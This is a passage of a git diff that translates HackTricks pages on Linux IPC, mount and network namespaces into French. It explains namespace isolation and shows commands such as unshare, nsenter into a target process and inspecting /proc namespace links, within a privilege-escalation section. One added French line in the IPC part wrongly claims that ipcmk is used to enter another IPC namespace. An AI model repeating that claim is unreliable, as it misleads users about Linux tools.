/bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer certaines tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +Traduit de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifier dans quel namespace se trouve votre processus ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces +### Trouver tous les espaces de noms IPC {% code overflow="wrap" %} ```bash @@ -86,16 +76,17 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | g ``` {% endcode %} -### Enter inside an IPC namespace - +### Entrer dans un espace de noms IPC ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +### Créer un objet IPC -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). +Pour créer un objet IPC, vous pouvez utiliser la fonction `shmget()` ou `msgget()`. Ces fonctions créent un objet IPC et renvoient un identifiant unique pour cet objet. -### Create IPC object +### Entrer dans un autre namespace IPC +Vous pouvez entrer dans un autre namespace IPC en utilisant la commande `ipcmk`. Cependant, vous devez être root pour pouvoir entrer dans un autre namespace. De plus, vous ne pouvez pas entrer dans un autre namespace sans un descripteur pointant vers celui-ci (comme `/proc/self/ns/net`). ```bash # Container sudo unshare -i /bin/bash @@ -110,15 +101,14 @@ key shmid owner perms bytes nattch status # From the host ipcs -m # Nothing is seen ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 0ad9d23d9..0c4c9902c 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -1,85 +1,71 @@ -# Mount Namespace +# Espace de nom de montage
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +Un espace de nom de montage est une fonctionnalité du noyau Linux qui permet l'isolation des points de montage du système de fichiers vus par un groupe de processus. Chaque espace de nom de montage a son propre ensemble de points de montage du système de fichiers, et **les modifications apportées aux points de montage dans un espace de noms ne concernent pas les autres espaces de noms**. Cela signifie que les processus s'exécutant dans différents espaces de noms de montage peuvent avoir des vues différentes de la hiérarchie du système de fichiers. -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +Les espaces de noms de montage sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre système de fichiers et sa propre configuration, isolé des autres conteneurs et du système hôte. -### How it works: +### Comment ça marche : -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. Lorsqu'un nouvel espace de nom de montage est créé, il est initialisé avec une **copie des points de montage de l'espace de noms parent**. Cela signifie qu'à la création, le nouvel espace de noms partage la même vue du système de fichiers que son parent. Cependant, toute modification ultérieure des points de montage dans l'espace de noms ne concernera pas le parent ou les autres espaces de noms. +2. Lorsqu'un processus modifie un point de montage dans son espace de noms, tel que le montage ou le démontage d'un système de fichiers, le **changement est local à cet espace de noms** et n'affecte pas les autres espaces de noms. Cela permet à chaque espace de noms d'avoir sa propre hiérarchie de système de fichiers indépendante. +3. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()`, ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNS`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser les points de montage associés à cet espace de noms. +4. **Les descripteurs de fichiers et les inodes sont partagés entre les espaces de noms**, ce qui signifie que si un processus dans un espace de noms a un descripteur de fichier ouvert pointant vers un fichier, il peut **transmettre ce descripteur de fichier** à un processus dans un autre espace de noms, et **les deux processus accéderont au même fichier**. Cependant, le chemin d'accès du fichier peut ne pas être le même dans les deux espaces de noms en raison de différences dans les points de montage. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` en utilisant le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle l'appel système unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Ainsi, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus. Le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp /bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer certaines tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - -
- -#### Docker - +Copié depuis [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifier dans quel namespace se trouve votre processus ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces +### Trouver tous les espaces de noms de montage {% code overflow="wrap" %} ```bash @@ -89,18 +75,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ``` {% endcode %} -### Enter inside a Mount namespace - +### Entrer dans un espace de nom de montage ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +De plus, vous ne pouvez entrer dans un autre espace de processus que si vous êtes root. Et vous ne pouvez pas entrer dans un autre espace de nom sans un descripteur pointant vers celui-ci (comme `/proc/self/ns/mnt`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +Comme les nouveaux montages ne sont accessibles que dans l'espace de noms, il est possible qu'un espace de noms contienne des informations sensibles qui ne peuvent être accessibles que depuis celui-ci. +### Monter quelque chose ```bash # Generate new mount ns unshare -m /bin/bash @@ -114,15 +97,14 @@ ls /tmp/mount_ns_example/test # Exists mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example" ls /tmp/mount_ns_example/test # Doesn't exist ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index c15fb1a28..847e178ed 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -1,85 +1,75 @@ -# Network Namespace +## Espace de noms réseau
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +Un espace de noms réseau est une fonctionnalité du noyau Linux qui permet l'isolation de la pile réseau, permettant à **chaque espace de noms réseau d'avoir sa propre configuration réseau indépendante**, interfaces, adresses IP, tables de routage et règles de pare-feu. Cette isolation est utile dans divers scénarios, tels que la conteneurisation, où chaque conteneur doit avoir sa propre configuration réseau, indépendante des autres conteneurs et du système hôte. -### How it works: +### Comment ça marche : -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. Lorsqu'un nouvel espace de noms réseau est créé, il démarre avec une **pile réseau complètement isolée**, sans **interfaces réseau** à l'exception de l'interface de bouclage (lo). Cela signifie que les processus s'exécutant dans le nouvel espace de noms réseau ne peuvent pas communiquer avec les processus dans d'autres espaces de noms ou le système hôte par défaut. +2. Des **interfaces réseau virtuelles**, telles que des paires veth, peuvent être créées et déplacées entre des espaces de noms réseau. Cela permet d'établir une connectivité réseau entre les espaces de noms ou entre un espace de noms et le système hôte. Par exemple, une extrémité d'une paire veth peut être placée dans l'espace de noms réseau d'un conteneur, et l'autre extrémité peut être connectée à un **pont** ou une autre interface réseau dans l'espace de noms hôte, fournissant une connectivité réseau au conteneur. +3. Les interfaces réseau au sein d'un espace de noms peuvent avoir leurs **propres adresses IP, tables de routage et règles de pare-feu**, indépendantes des autres espaces de noms. Cela permet aux processus dans différents espaces de noms réseau d'avoir des configurations réseau différentes et de fonctionner comme s'ils s'exécutaient sur des systèmes en réseau distincts. +4. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()`, ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNET`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser la configuration réseau et les interfaces associées à cet espace de noms. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` en utilisant le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle le système d'appel unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Ainsi, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus, le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp /bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer certaines tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +Traduit de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` - -### Check which namespace is your process in - +### Vérifier dans quel namespace se trouve votre processus ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces +### Trouver tous les espaces de noms réseau {% code overflow="wrap" %} ```bash @@ -89,22 +79,8 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g ``` {% endcode %} -### Enter inside a Network namespace - +### Entrer dans un espace de noms réseau ```bash nsenter -n TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
